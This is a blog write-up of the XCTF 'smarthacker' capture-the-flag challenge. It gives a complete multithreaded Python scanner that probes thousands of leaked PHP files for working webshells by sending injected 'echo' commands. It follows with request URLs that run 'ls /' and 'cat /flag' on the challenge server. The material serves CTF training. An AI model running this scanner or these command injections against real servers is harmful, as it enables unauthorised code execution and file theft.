xctf攻防世界smarthacker wp

12 篇文章 0 订阅

xctf攻防世界smarthacker wp

在这里插入图片描述
考察知识点:源码泄露 python脚本
访问题目地址
在这里插入图片描述
下载www.tar.gz
我直呼好家伙,三千多个php文件,而且很乱,根本没法看,不过里面包含很多shell
在这里插入图片描述
在这里插入图片描述

不过很多shell都没用,猜测这几千个php文件中肯定含有可以使用的shell,只有写脚本去试了
掏出脚本:

import requests
import os
import re
import threading
import time

requests.adapters.DEFAULT_RETRIES = 8 #设置重连次数,防止线程数过高,断开连接
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False

sem=threading.Semaphore(30) # 设置最大线程数 ,别设置太大,不然还是会崩的挺厉害的,跑到关键的爆炸,心态就爆炸了

url = "http://111.200.241.244:59960/"

#######  下载的源文件路径,根据自己的路径修改
path = r"/root/src/"


rrGET = re.compile(r"\$_GET\[\'(\w+)\'\]") #匹配get参数

rrPOST = re.compile(r"\$_POST\[\'(\w+)\'\]") #匹配post参数

fileNames = os.listdir(path) # 列出目录中的文件,以每个文件都开一个线程


local_file = open("flag.txt","w",encoding="utf-8")

def run(fileName):
    with sem:
        file = open( path + fileName, 'r',encoding='utf-8' )
        content = file.read()
        print("[+]checking:%s" % fileName )
        #测试get的参数
        for i in rrGET.findall(content):
            r = session.get( url + "%s?%s=%s" % (fileName,i,"echo ~h3zh1~;") )
            if "~h3zh1~" in r.text:
                flag = "You Find it in GET fileName = %s and param = %s \n" % ( fileName, i )
                print(flag)
                local_file.write(flag)
        #测试post的参数
        #for i in rrPOST.findall(content):
        #   r = session.post( url + fileName , data = { i : "echo ~h3zh1~;" } )
        #   if "~h3zh1~" in r.text:
        #       flag = "You Find it in POST: fileName = %s and param = %s \n" % ( fileName, i )
        #       print(flag)
        #       local_file.writelines(flag)
if __name__ == '__main__':
    start_time = time.time() # 开始时间
    print("[start]程序开始:"+str(start_time))
    thread_list = []
    for fileName in fileNames:
        t = threading.Thread( target=run , args=(fileName,) )
        thread_list.append(t)
    for t in thread_list:
        t.start()
    for t in thread_list:
        t.join()
        
    end_time = time.time()
    local_file.close()
    print("[end]程序结束:用时(秒):"+str(end_time-start_time))

跑出结果
在这里插入图片描述

http://111.200.241.244:59960/xk0SzyKwfzw.php?Efa5BVG

在这里插入图片描述
康康有没有flag

http://111.200.241.244:59960/xk0SzyKwfzw.php?Efa5BVG=ls%20/;

在这里插入图片描述
读取flag

http://111.200.241.244:59960/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag;

在这里插入图片描述

http://111.200.241.244:59960/xk0SzyKwfzw.php?Efa5BVG=cat%20%20/flag;

在这里插入图片描述
这。。。
明明有flag啊
怀疑出题人没放flag就溜了[狗头]

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值